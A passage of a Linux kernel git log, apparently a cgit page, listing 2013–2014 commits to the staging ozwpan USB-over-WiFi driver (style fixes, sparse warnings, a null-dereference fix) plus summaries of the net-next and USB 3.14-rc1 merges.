The "devs" is a pointer to g_net_dev in ozmain.c. g_net_dev has a default value as empty string. So "devs" cannot be NULL, removes NULL check for "devs". Signed-off-by: Daeseok Youn <daeseok.youn@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-18staging:ozwpan:Fix sparse warning of cast to restricted __le16Himangi Saraogi1-2/+2
This patch fixes the following sparse warnings: drivers/staging/ozwpan/ozusbsvc1.c:391:36: warning: cast to restricted __le16 drivers/staging/ozwpan/ozusbsvc1.c:393:33: warning: cast to restricted __le16 Signed-off-by: Himangi Saraogi <himangi774@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-18staging:ozwpan:Fix sparse warning of incorrect argument typeHimangi Saraogi3-3/+3
This patch fixes the following sparse warning: drivers/staging/ozwpan/ozusbsvc1.c:208:50: warning: incorrect type in argument 6 (different base types) drivers/staging/ozwpan/ozusbsvc1.c:208:50: expected unsigned short [unsigned] [usertype] windex drivers/staging/ozwpan/ozusbsvc1.c:208:50: got restricted __le16 [usertype] wIndex Signed-off-by: Himangi Saraogi <himangi774@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-17staging/ozwpan: coding style ether_addr_copyJérôme Pinot2-3/+4
This fixes the following issues detected by checkpatch.pl: WARNING: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2) #220: FILE: drivers/staging/ozwpan/ozcdev.c:220: + memcpy(g_cdev.active_addr, addr, ETH_ALEN); WARNING: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2) #286: FILE: drivers/staging/ozwpan/ozcdev.c:286: + memcpy(addr, g_cdev.active_addr, ETH_ALEN); WARNING: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2) #176: FILE: drivers/staging/ozwpan/ozpd.c:176: + memcpy(pd->mac_addr, mac_addr, ETH_ALEN); Signed-off-by: Jerome Pinot <ngc891@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-13staging/ozwpan: formatting coding styleJérôme Pinot2-2/+3
This fixes the following spacing issues detected by checkpatch.pl: WARNING: line over 80 characters #357: FILE: drivers/staging/ozwpan/ozhcd.c:357: +static struct oz_urb_link *oz_uncancel_urb(struct oz_hcd *ozhcd, struct urb *urb) ERROR: trailing whitespace #25: FILE: drivers/staging/ozwpan/ozpd.h:25: +/* $ Signed-off-by: Jerome Pinot <ngc891@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-13staging/ozwpan: coding style __constant_Jérôme Pinot2-4/+3
This fixes the following issues detected by checkpatch.pl: WARNING: __constant_cpu_to_le16 should be cpu_to_le16 #1991: FILE: drivers/staging/ozwpan/ozhcd.c:1991: + __constant_cpu_to_le16(0x0001); WARNING: __constant_cpu_to_le32 should be cpu_to_le32 #2185: FILE: drivers/staging/ozwpan/ozhcd.c:2185: + put_unaligned(__constant_cpu_to_le32(0), (__le32 *)buf); WARNING: __constant_htons should be htons #675: FILE: drivers/staging/ozwpan/ozproto.c:675: + binding->ptype.type = __constant_htons(OZ_ETHERTYPE); Signed-off-by: Jerome Pinot <ngc891@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-03-04drivers:staging:ozwpan Replaced wrapper functions with actual spin lock functionSurendra Patil4-26/+24
* Replaced all the spin lock/unlock wrappers from oz_polling_lock_bh() and oz_polllin_unlock_bh() with spin_lock_bh(&g_polling_lock) and spin_unlock_bh(&g_polling_lock).Completely erased the wrappers defination and declaration. * declared g_polling_lock as global variable in header file and added comments to it. Module builded successfully with sparse without warnings. Signed-off-by: Surendra Patil <surendra.tux@gmail.com> Acked-by: Rupesh Gujare <rupesh.gujare@atmel.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-02-07Staging: ozwpan: Change kmalloc() to kzalloc()Salym Senyonga1-5/+1
changing to kzalloc lets us get rid of some lines. The other concern here is that some members of binding->ptype are still uninitialized at the end of the function. Signed-off-by: Salym Senyonga <salymsash@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-02-07Staging: ozwpan: reduce indent levels in oz_binding_add().Salym Senyonga1-23/+21
When hit error then we can return immediately. This makes the code simpler and lets us remove some indenting. Signed-off-by: Salym Senyonga <salymsash@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-02-07Staging: ozwpan: Fix null dereferenceSalym Senyonga1-1/+2
If net_dev is NULL memcpy() will Oops. Signed-off-by: Salym Senyonga <salymsash@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-01-25Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-nextLinus Torvalds2-3/+4
Pull networking updates from David Miller: 1) BPF debugger and asm tool by Daniel Borkmann. 2) Speed up create/bind in AF_PACKET, also from Daniel Borkmann. 3) Correct reciprocal_divide and update users, from Hannes Frederic Sowa and Daniel Borkmann. 4) Currently we only have a "set" operation for the hw timestamp socket ioctl, add a "get" operation to match. From Ben Hutchings. 5) Add better trace events for debugging driver datapath problems, also from Ben Hutchings. 6) Implement auto corking in TCP, from Eric Dumazet. Basically, if we have a small send and a previous packet is already in the qdisc or device queue, defer until TX completion or we get more data. 7) Allow userspace to manage ipv6 temporary addresses, from Jiri Pirko. 8) Add a qdisc bypass option for AF_PACKET sockets, from Daniel Borkmann. 9) Share IP header compression code between Bluetooth and IEEE802154 layers, from Jukka Rissanen. 10) Fix ipv6 router reachability probing, from Jiri Benc. 11) Allow packets to be captured on macvtap devices, from Vlad Yasevich. 12) Support tunneling in GRO layer, from Jerry Chu. 13) Allow bonding to be configured fully using netlink, from Scott Feldman. 14) Allow AF_PACKET users to obtain the VLAN TPID, just like they can already get the TCI. From Atzm Watanabe. 15) New "Heavy Hitter" qdisc, from Terry Lam. 16) Significantly improve the IPSEC support in pktgen, from Fan Du. 17) Allow ipv4 tunnels to cache routes, just like sockets. From Tom Herbert. 18) Add Proportional Integral Enhanced packet scheduler, from Vijay Subramanian. 19) Allow openvswitch to mmap'd netlink, from Thomas Graf. 20) Key TCP metrics blobs also by source address, not just destination address. From Christoph Paasch. 21) Support 10G in generic phylib. From Andy Fleming. 22) Try to short-circuit GRO flow compares using device provided RX hash, if provided. From Tom Herbert. The wireless and netfilter folks have been busy little bees too. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next: (2064 commits) net/cxgb4: Fix referencing freed adapter ipv6: reallocate addrconf router for ipv6 address when lo device up fib_frontend: fix possible NULL pointer dereference rtnetlink: remove IFLA_BOND_SLAVE definition rtnetlink: remove check for fill_slave_info in rtnl_have_link_slave_info qlcnic: update version to 5.3.55 qlcnic: Enhance logic to calculate msix vectors. qlcnic: Refactor interrupt coalescing code for all adapters. qlcnic: Update poll controller code path qlcnic: Interrupt code cleanup qlcnic: Enhance Tx timeout debugging. qlcnic: Use bool for rx_mac_learn. bonding: fix u64 division rtnetlink: add missing IFLA_BOND_AD_INFO_UNSPEC sfc: Use the correct maximum TX DMA ring size for SFC9100 Add Shradha Shah as the sfc driver maintainer. net/vxlan: Share RX skb de-marking and checksum checks with ovs tulip: cleanup by using ARRAY_SIZE() ip_tunnel: clear IPCB in ip_tunnel_xmit() in case dst_link_failure() is called net/cxgb4: Don't retrieve stats during recovery ...
2014-01-20Merge tag 'usb-3.14-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usbLinus Torvalds1-0/+2
Pull USB updates from Greg KH: "Here's the big USB pull request for 3.14-rc1 Lots of little things all over the place, and the usual USB gadget updates, and XHCI fixes (some for an issue reported by a lot of people). USB PHY updates as well as chipidea updates and fixes. All of these have been in the linux-next tree with no reported issues" * tag 'usb-3.14-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb: (318 commits) usb: chipidea: udc: using MultO at TD as real mult value for ISO-TX usb: chipidea: need to mask INT_STATUS when write otgsc usb: chipidea: put hw_phymode_configure before ci_usb_phy_init usb: chipidea: Fix Internal error: : 808 [#1] ARM related to STS flag usb: chipidea: imx: set CI_HDRC_IMX28_WRITE_FIX for imx28 usb: chipidea: add freescale imx28 special write register method usb: ehci: add freescale imx28 special write register method usb: core: check for valid id_table when using the RefId feature usb: cdc-wdm: resp_count can be 0 even if WDM_READ is set usb: core: bail out if user gives an unknown RefId when using new_id usb: core: allow a reference device for new_id usb: core: add sanity checks when using bInterfaceClass with new_id USB: image: correct spelling mistake in comment USB: c67x00: correct spelling mistakes in comments usb: delete non-required instances of include <linux/init.h> usb:hub set hub->change_bits when over-current happens Revert "usb: chipidea: imx: set CI_HDRC_IMX28_WRITE_FIX for imx28" xhci: Set scatter-gather limit to avoid failed block writes. xhci: Avoid infinite loop when sg urb requires too many trbs usb: gadget: remove unused variable in gr_queue_int() ...
2013-12-26ozwpan: slight optimization of addr comparedingtianhong2-3/+4
Use possibly more efficient ether_addr_equal instead of memcmp. Cc: Rupesh Gujare <rupesh.gujare@atmel.com> Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org> Cc: devel@driverdev.osuosl.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Tan Xiaojun <tanxiaojun@huawei.com> Signed-off-by: Ding Tianhong <dingtianhong@huawei.com> Signed-off-by: David S. Miller <davem@davemloft.net>
2013-12-17staging: delete non-required instances of include <linux/init.h>Paul Gortmaker5-5/+0
None of these files are actually using any __init type directives and hence don't need to include <linux/init.h>. Most are just a left over from __devinit and __cpuinit removal, or simply due to code getting copied from one driver to the next. Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Copyright © 1996 – 2023 Jason A. Donenfeld. All Rights Reverse Engineered.